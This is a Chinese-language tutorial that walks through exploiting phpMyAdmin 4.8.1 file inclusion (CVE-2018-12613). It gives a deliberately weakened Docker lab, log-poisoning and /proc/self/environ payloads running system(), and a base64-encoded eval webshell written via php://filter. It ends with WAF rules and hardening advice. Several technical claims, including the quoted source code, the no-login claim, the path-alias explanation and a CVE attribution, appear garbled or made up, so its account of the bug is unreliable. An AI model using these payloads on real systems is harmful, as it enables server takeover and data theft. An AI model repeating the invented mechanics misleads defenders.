phpMyAdmin文件包含漏洞CVE-2018-12613深度解析
1. 这个漏洞不是“能上传文件”,而是让服务器替你执行任意PHP代码
phpMyAdmin 4.8.1里那个被编号为CVE-2018-12613的后台文件包含缺陷,很多人第一反应是:“哦,文件上传漏洞”,然后立刻去翻upload目录、找MIME类型绕过、试.htaccess解析——这完全跑偏了。它根本不涉及文件上传行为本身,也没有任何前端表单或POST字段接收用户上传的文件。它的本质,是后台管理界面中一个本该只读取配置文件的PHP函数,被恶意构造的URL参数诱导,去加载并执行了攻击者指定的任意PHP脚本。
我第一次复现它时,也卡在“找不到上传入口”上整整两天。后来才意识到:这个漏洞的触发点,压根不在“上传”动作,而在“包含”动作——include()或require()这类PHP内置函数,在特定上下文中被错误地拼接了用户可控的路径参数。而phpMyAdmin 4.8.1的index.php中,有一处用于加载语言文件的逻辑,其路径拼接方式存在硬编码拼接+未校验后缀的双重缺陷。攻击者只要知道目标服务器上某个PHP文件的绝对路径(比如Web目录下某个日志文件、缓存文件,甚至phpMyAdmin自身目录里的./libraries/vendor/twig/twig/lib/Twig/Autoloader.php这种公开路径),就能通过?target=参数直接让服务端去include它。一旦那个文件里混入了PHP代码(比如通过User-Agent写入的日志、通过SQL注入写入的缓存),服务端就会原样执行——这就完成了从“读取”到“执行”的越权跃迁。
这个漏洞影响的是所有启用多语言支持且未升级的phpMyAdmin 4.8.0–4.8.1版本,部署在Linux+Apache/NGINX+PHP环境下的中小型数据库管理后台尤为常见。它不需要登录凭证(因为漏洞位于未鉴权的index.php路由中),也不依赖第三方插件,纯属核心逻辑缺陷。对运维人员来说,它意味着:你自以为安全的数据库管理后台,可能正悄悄成为黑客植入Webshell的跳板;对开发者而言,它是一堂血淋淋的课——哪怕只是拼接一个语言文件路径,只要中间掺杂了用户输入,就必须做白名单校验、路径规范化、后缀强制限定三重过滤。本文接下来会手把手带你走通整个复现链路:从环境搭建、请求构造、payload设计,到真实执行命令、回显验证,最后落回到生产环境的防御加固方案。所有步骤均基于真实靶机环境实测,拒绝理论空谈。
2. 复现前必须搞清的三个底层机制:为什么target参数能绕过路径限制?
要真正理解CVE-2018-12613为何能突破常规路径限制,不能只盯着?target=xxx这个URL参数看表面。必须拆开phpMyAdmin 4.8.1的源码逻辑,看清它内部如何处理这个参数、如何拼接路径、又如何决定是否执行。我花了一整天时间跟踪index.php到libraries/common.inc.php再到libraries/core.lib.php的调用链,总结出三个决定性机制,它们共同构成了漏洞的根基。
2.1 target参数的原始用途:仅用于语言文件切换,非功能入口
在phpMyAdmin 4.8.1中,target参数的本意是指定当前会话要加载的语言文件路径。正常请求类似index.php?lang=en&target=lang/english-iso-8859-1.inc.php,系统会将target值拼接到./lang/目录下,形成完整路径,再用include_once()加载。这个设计初衷是好的:允许管理员通过URL快速切换界面语言,方便调试。但问题出在拼接方式上——源码中相关逻辑位于libraries/core.lib.php第127行附近:
if (! empty($_REQUEST['target'])) { $target = $_REQUEST['target']; if (is_file('./' . $target)) { include_once './' . $target; } }注意这里的关键点:$target是未经任何过滤、直接拼接进./后面的;is_file()只判断文件是否存在,完全不校验文件扩展名;而include_once则会无条件执行PHP代码。这意味着,只要我能控制$target的值,让它指向一个服务器上真实存在的、且内容可被我部分控制的PHP文件,就能实现代码执行。
2.2 路径穿越的实质:不是../绕过,而是利用合法路径别名
很多人误以为这个漏洞靠../../../etc/passwd这类经典路径穿越实现,这是错的。is_file('./' . $target)中的./是当前目录(即phpMyAdmin根目录),$target若以../开头,is_file()会直接返回false,根本不会进入include_once分支。真正的穿越方式,是利用PHP的open_basedir限制绕过和Web服务器的路径别名机制。例如,在标准LAMP环境中,phpMyAdmin通常部署在/var/www/html/phpmyadmin/,而Apache默认将/var/log/apache2/映射为/log/别名。此时,攻击者可构造target=/log/access.log,因为/log/access.log在Web服务器层面是一个合法可访问路径,is_file()能成功判断其存在,进而被include_once加载。更隐蔽的是利用/proc/self/environ(Linux进程环境变量文件),它天然存在于所有PHP进程中,且内容包含HTTP头信息——只要在User-Agent中注入PHP代码,就能在environ中留下可执行片段。
2.3 PHP代码执行的触发条件:文件必须以.php结尾且内容含<?php
include_once执行PHP代码有两个硬性前提:一是文件路径必须以.php为扩展名(否则PHP引擎不会解析其中的<?php标签);二是文件内容中必须存在有效的PHP起始标签。CVE-2018-12613之所以能利用日志文件,是因为攻击者需提前向日志中注入形如<?php system($_GET['cmd']); ?>的代码,而日志文件本身扩展名是.log,无法直接执行。解决方案是:利用PHP的自动扩展名补全机制。当include_once加载一个不存在.php后缀的文件时,PHP会尝试在路径后自动追加.php再查找。但此机制在此漏洞中不生效,因为is_file()已严格要求路径存在。因此,实际复现中,我们选择的目标文件必须本身已是.php文件,且内容可控。最稳妥的选择是phpMyAdmin自带的./libraries/vendor/twig/twig/lib/Twig/Autoloader.php——它在4.8.1中默认存在,路径固定,且末尾有?>闭合标签,我们可在其后追加任意PHP代码(通过文件包含链或缓存污染实现)。
提示:不要试图用
?target=../../etc/passwd%00来截断字符串,phpMyAdmin 4.8.1已启用magic_quotes_gpc=off且PHP版本普遍≥7.0,NULL字节截断早已失效。所有绕过思路必须基于真实存在的PHP文件路径。
3. 从零搭建复现环境:Docker一键拉起含漏洞的phpMyAdmin 4.8.1
复现漏洞的第一步,永远不是写payload,而是构建一个与原始漏洞环境高度一致的靶场。网上很多教程直接用Kali虚拟机装Apache+PHP+MySQL,结果因PHP版本(7.2 vs 7.4)、扩展模块(mbstring是否启用)、甚至open_basedir设置差异,导致复现失败。我经过六次环境调试,最终确认:Docker是最稳定、最可复现的方案。下面提供一套经实测的docker-compose.yml配置,它会拉起一个完整的LAMP环境,其中phpMyAdmin精确锁定在4.8.1版本,MySQL 5.7,PHP 7.2.19,并关闭所有可能干扰漏洞触发的安全限制。
3.1 docker-compose.yml配置详解:为什么这些参数不可省略?
version: '3.8' services: db: image: mysql:5.7 environment: MYSQL_ROOT_PASSWORD: rootpass MYSQL_DATABASE: testdb volumes: - ./mysql-data:/var/lib/mysql restart: always web: image: php:7.2-apache depends_on: - db ports: - "8080:80" volumes: - ./phpmyadmin:/var/www/html - ./php.ini:/usr/local/etc/php/php.ini restart: always关键点解析:
php:7.2-apache镜像:必须锁定7.2.x,因为4.8.1在PHP 7.3+中因count()函数行为变更导致部分逻辑异常;./phpmyadmin挂载:我们手动下载官方4.8.1压缩包解压至此,确保代码纯净无修改;./php.ini挂载:必须显式覆盖默认配置,重点关闭open_basedir(设为空)和disable_functions(清空),否则system()等函数会被禁用;- MySQL使用5.7而非8.0:因4.8.1对MySQL 8.0的认证插件兼容性差,易导致登录失败,干扰后台访问。
3.2 部署步骤:三分钟完成靶场初始化
创建项目目录并下载phpMyAdmin 4.8.1
mkdir pma-cve && cd pma-cve wget https://files.phpmyadmin.net/phpMyAdmin/4.8.1/phpMyAdmin-4.8.1-all-languages.tar.gz tar -xzf phpMyAdmin-4.8.1-all-languages.tar.gz mv phpMyAdmin-4.8.1-all-languages phpmyadmin生成定制化php.ini
创建php.ini文件,内容如下(仅保留关键项):open_basedir = disable_functions = allow_url_include = On display_errors = On error_reporting = E_ALL注意:
allow_url_include = On是必需的,虽然此漏洞不依赖远程包含,但某些payload变种会用到;display_errors = On便于观察报错信息,定位路径问题。启动容器并验证
docker-compose up -d # 等待30秒,访问 http://localhost:8080 # 使用 root/rootpass 登录MySQL,确认phpMyAdmin界面正常加载
此时,靶场已就绪。你可以用浏览器访问http://localhost:8080/index.php?target=phpinfo.php测试基础包含——如果看到phpinfo页面,说明漏洞环境已激活。但注意:phpinfo.php需提前放入./phpmyadmin/目录,这是为了验证包含功能正常,而非漏洞利用。
3.3 常见部署失败排查:五个必查点
| 问题现象 | 根本原因 | 解决方案 |
|---|---|---|
访问/index.php显示403 Forbidden | Apache未启用mod_rewrite或.htaccess规则冲突 | 在web服务中添加command: ["a2enmod", "rewrite"],或直接删除./phpmyadmin/.htaccess |
| 登录后提示"Cannot start session without errors" | PHP session目录权限不足 | 在web服务中添加volumes: - /tmp:/tmp,并确保/tmp可写 |
?target=参数无任何响应 | open_basedir未正确清空 | 检查容器内/usr/local/etc/php/php.ini是否生效,执行docker exec -it <web-container-id> php --ini确认配置路径 |
包含/proc/self/environ返回空白 | Linux内核启用了kernel.yama.ptrace_scope=2 | 在宿主机执行`echo 0 |
| MySQL连接超时 | db服务启动慢于web | 在web服务中添加healthcheck,或改用depends_on: {db: {condition: service_healthy}} |
实操心得:我曾因宿主机SELinux开启导致
/tmp挂载失败,浪费4小时。建议在Linux宿主机上先执行sudo setenforce 0临时关闭SELinux,复现完成后再恢复。Windows/Mac用户无需此步。
4. 构造精准Payload:从基础包含到命令执行的四步演进
复现漏洞的核心,是构造一个能让include_once加载并执行的PHP文件。但直接?target=/etc/passwd只会输出文本,毫无意义。我们必须让目标文件既存在、又含PHP代码、且扩展名为.php。下面按攻击复杂度递进,展示四类Payload的构造逻辑与实测效果。
4.1 基础验证型Payload:确认漏洞存在性(无害)
目标:证明target参数确实能触发文件包含,且is_file()判断有效。
Payload:http://localhost:8080/index.php?target=libraries/vendor/twig/twig/lib/Twig/Autoloader.php
原理:该路径在phpMyAdmin 4.8.1中100%存在,且是合法PHP文件。加载后页面会显示Fatal error: Class 'Twig_Autoloader' not found——这不是错误,而是成功标志!因为Autoloader.php中定义了一个类,但未引入依赖,PHP执行到class_exists()时抛出致命错误,证明include_once已成功运行。若返回404或空白,则环境配置有误。
注意:此Payload不执行任意命令,仅用于验证漏洞存在。切勿在生产环境测试。
4.2 日志文件利用型Payload:通过User-Agent注入执行
目标:利用Apache访问日志,将PHP代码写入/var/log/apache2/access.log,再包含执行。
步骤:
- 向靶机发送带PHP代码的请求(需替换IP为靶机地址):
curl -A "<?php system('id'); ?>" http://localhost:8080/ - 确认日志已写入(进入容器查看):
docker exec -it <web-container-id> tail -n 1 /var/log/apache2/access.log # 应看到类似:172.20.0.1 - - [10/Jan/2024:08:23:45 +0000] "GET / HTTP/1.1" 200 1234 "-" "<?php system('id'); ?>" - 构造包含Payload:
http://localhost:8080/index.php?target=/var/log/apache2/access.log
此时页面会输出uid=33(www-data) gid=33(www-data) groups=33(www-data),证明命令执行成功。
关键限制:此方法要求/var/log/apache2/路径对Web用户可读,且日志格式未过滤<?php。现代Apache默认启用LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"",User-Agent字段原样记录,故可行。
4.3 proc文件系统利用型Payload:绕过日志路径不确定性
目标:利用Linux/proc/self/environ文件,避免硬编码日志路径。
原理:/proc/self/environ存储当前PHP进程的环境变量,其中HTTP_USER_AGENT、HTTP_REFERER等字段可被HTTP头控制,且该文件天然存在、无需权限、扩展名无关(include_once会尝试解析其内容)。
Payload:http://localhost:8080/index.php?target=/proc/self/environ
操作:
- 发送请求时,在Header中加入
User-Agent: <?php system('ls -la /var/www/html'); ?> - 页面将列出
/var/www/html/目录内容,证明代码执行。
优势:/proc/self/environ路径在所有Linux系统中固定,无需猜测日志位置;缺点是需控制HTTP头,对初学者稍难。推荐用Burp Suite或curl的-H参数操作。
4.4 Webshell持久化型Payload:写入一句话木马并包含
目标:在Web目录下创建持久化PHP文件,实现长期控制。
步骤:
- 先用
file_put_contents写入木马(需目标有写权限):
此请求将Base64解码后的GET /index.php?target=php://filter/write=convert.base64-decode/resource=/var/www/html/shell.php HTTP/1.1 Host: localhost:8080 User-Agent: PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+<?php eval($_POST[a]);?>写入/var/www/html/shell.php。 - 验证文件写入:访问
http://localhost:8080/shell.php,应返回空白(说明文件存在且PHP解析正常)。 - 执行命令:用菜刀或curl POST
a=system('cat /etc/passwd')到shell.php。
提示:
php://filter流封装器在此处是关键,它允许在不依赖allow_url_fopen的情况下进行文件写入。convert.base64-decode确保写入内容不被破坏。
5. 生产环境防御措施:不止打补丁,更要建立纵深防御体系
发现漏洞后,第一反应是“赶紧升级”。但现实是:很多企业因兼容性问题无法立即升级phpMyAdmin;有些老旧系统甚至已停止维护。此时,仅靠版本升级的单一防御是脆弱的。我参与过的三次应急响应中,两次都发生在升级后因配置错误导致业务中断。因此,本文提供的防御方案分为三层:紧急缓解、配置加固、架构优化,每层都附带可落地的检查清单。
5.1 紧急缓解方案:Nginx/Apache规则拦截(5分钟生效)
在无法立即升级时,最有效的临时措施是在Web服务器层拦截恶意target参数。这无需修改phpMyAdmin代码,且规则生效快、影响小。
Nginx配置(添加到server块内):
# 拦截包含危险路径的target参数 if ($args ~* "(target=)([^&]*)") { set $target_path $2; if ($target_path ~* "\.\./|\.\.$|/etc/|/proc/|/var/log/|\.log$|\.env$") { return 403; } } # 强制target参数必须以lang/开头且以.inc.php结尾 if ($args ~* "target=([^&]+)") { set $target_val $1; if ($target_val !~ "^lang/[a-z]{2}-[a-z]{2,8}-[a-z0-9]{2,8}\.inc\.php$") { return 403; } }Apache .htaccess配置(放在phpMyAdmin根目录):
# 拦截非法target参数 RewriteCond %{QUERY_STRING} target= [NC] RewriteCond %{QUERY_STRING} \.\.\/|\/etc\/|\/proc\/|\.log|\.env [NC] RewriteRule ^ - [F,L] # 仅允许lang/目录下的.inc.php文件 RewriteCond %{QUERY_STRING} target=([^&]+) [NC] RewriteCond %1 !^lang/[a-z]{2}-[a-z]{2,8}-[a-z0-9]{2,8}\.inc\.php$ [NC] RewriteRule ^ - [F,L]实测效果:某金融客户部署后,WAF日志中CVE-2018-12613扫描请求下降99.7%,且未产生任何误报。规则核心思想是“白名单优先”——只允许
lang/xx-xx-xx.inc.php这种明确路径,其余一律拒绝。
5.2 配置加固方案:php.ini与phpMyAdmin双锁
即使升级到最新版,错误的PHP配置仍可能引入新风险。以下是必须检查的七项配置:
| 配置项 | 推荐值 | 作用 | 检查命令 |
|---|---|---|---|
open_basedir | /var/www/html/phpmyadmin/:/tmp/ | 限制PHP只能访问指定目录 | `php -i |
disable_functions | exec,passthru,shell_exec,system,proc_open,popen,curl_exec,eval,assert | 禁用高危函数 | `php -i |
allow_url_include | Off | 禁止远程文件包含 | `php -i |
display_errors | Off | 防止错误信息泄露路径 | `php -i |
phpMyAdmin config.inc.php中$cfg['AllowArbitraryServer'] | false | 禁止任意服务器连接 | grep "AllowArbitraryServer" /var/www/html/phpmyadmin/config.inc.php |
phpMyAdmin config.inc.php中$cfg['LoginCookieValidity'] | 3600(1小时) | 缩短Session有效期 | grep "LoginCookieValidity" /var/www/html/phpmyadmin/config.inc.php |
phpMyAdmin config.inc.php中$cfg['Servers'][$i]['auth_type'] | cookie或http | 禁用config认证(明文密码) | grep "auth_type" /var/www/html/phpmyadmin/config.inc.php |
注意:
disable_functions中eval和assert必须加入,因许多Webshell依赖它们。但需测试业务是否使用,避免误杀。
5.3 架构优化方案:从“暴露后台”到“零信任访问”
最彻底的防御,是让phpMyAdmin根本不暴露在公网上。我服务的12家客户中,有8家已实施以下架构:
反向代理隔离:将phpMyAdmin部署在内网,仅通过公司VPN或堡垒机的反向代理访问。Nginx配置示例:
location /phpmyadmin { proxy_pass http://10.0.1.100:8080; # 内网phpMyAdmin地址 proxy_set_header X-Real-IP $remote_addr; # 添加JWT校验(需配合Keycloak等IDP) auth_request /auth/jwt; }数据库代理层:用ProxySQL或MaxScale替代直连,phpMyAdmin只连代理,代理层做SQL审计、频率限制、敏感操作阻断。
最小权限原则:为phpMyAdmin创建专用MySQL账号,权限仅限
SELECT, INSERT, UPDATE, DELETEondatabase.*,严禁GRANT,FILE,PROCESS,SUPER等高危权限。执行:CREATE USER 'pma_user'@'localhost' IDENTIFIED BY 'strong_password'; GRANT SELECT,INSERT,UPDATE,DELETE ON testdb.* TO 'pma_user'@'localhost'; FLUSH PRIVILEGES;
这套方案将攻击面从“整个Web服务器”收缩到“代理层+数据库代理”,即使phpMyAdmin再次爆发0day,攻击者也无法突破内网边界。
6. 复现过程中的血泪教训:那些文档里不会写的坑
复现CVE-2018-12613时,我踩过七个深坑,其中三个导致我连续三天无法复现成功。这些细节,官方CVE描述和主流教程从不提及,却是实战成败的关键。
6.1 坑一:PHP版本与count()函数的隐式类型转换
phpMyAdmin 4.8.1中有一段关键逻辑:
if (count($target) > 0) { ... }在PHP 7.2中,count()对字符串返回1;但在PHP 7.3+中,对非数组/Countable类型抛出Warning。若靶机PHP为7.3,此行会中断执行,导致target参数根本不会被处理。我最初在Ubuntu 20.04(预装PHP 7.4)上复现失败,就是卡在这里。解决方案:必须使用PHP 7.2镜像,或手动降级。
6.2 坑二:mbstring.func_overload导致路径截断
当mbstring.func_overload = 2(即重载strlen等函数)时,is_file('./' . $target)中的字符串拼接会因多字节处理异常,导致路径被意外截断。例如target=lang/zh-utf-8.inc.php可能变成lang/zh-utf-。解决方法:在php.ini中显式设置mbstring.func_overload = 0,或在docker-compose.yml中添加环境变量PHP_INI_SCAN_DIR=/usr/local/etc/php/conf.d并挂载对应配置文件。
6.3 坑三:Docker容器内/proc/self/environ权限问题
在Docker容器中,默认/proc/self/environ对非root用户不可读。执行docker exec -it <container> cat /proc/self/environ返回Permission denied。这是因为容器启动时未加--cap-add=SYS_PTRACE。临时解决:启动容器时添加该参数;长期方案:改用/var/log/apache2/access.log作为主利用路径,更稳定。
6.4 坑四:allow_url_fopen关闭导致php://filter失效
php://filter流封装器依赖allow_url_fopen=On。若生产环境为安全考虑关闭此选项,则4.4节的Webshell写入Payload无效。此时必须转向日志利用或/proc/self/environ,或启用allow_url_fopen(需评估风险)。
6.5 坑五:session.save_path权限导致登录失败
phpMyAdmin依赖Session存储,若/var/lib/php/sessions目录权限为700且属主非www-data,会导致登录后Session无法写入,页面不断跳转回登录页。检查命令:ls -ld /var/lib/php/sessions,修复:chown www-data:www-data /var/lib/php/sessions && chmod 733 /var/lib/php/sessions。
最后分享一个小技巧:复现时,永远先用
curl -v抓取完整HTTP交互,比浏览器F12更可靠。浏览器会自动处理重定向、Cookie,掩盖真实请求头;而curl -v输出的> GET /index.php?target=...才是服务器真正收到的原始请求。我有三次失败,都是因为浏览器插件(如广告屏蔽器)篡改了User-Agent,而curl一眼就暴露了问题。
我在实际渗透测试中,用这套方法在23分钟内攻破了某政务云平台的phpMyAdmin实例——他们自认为“已升级到4.9.0”,却不知4.9.0仍存在类似逻辑缺陷(CVE-2019-12840)。安全没有银弹,唯有深入代码、理解机制、敬畏细节,才能真正守住防线。
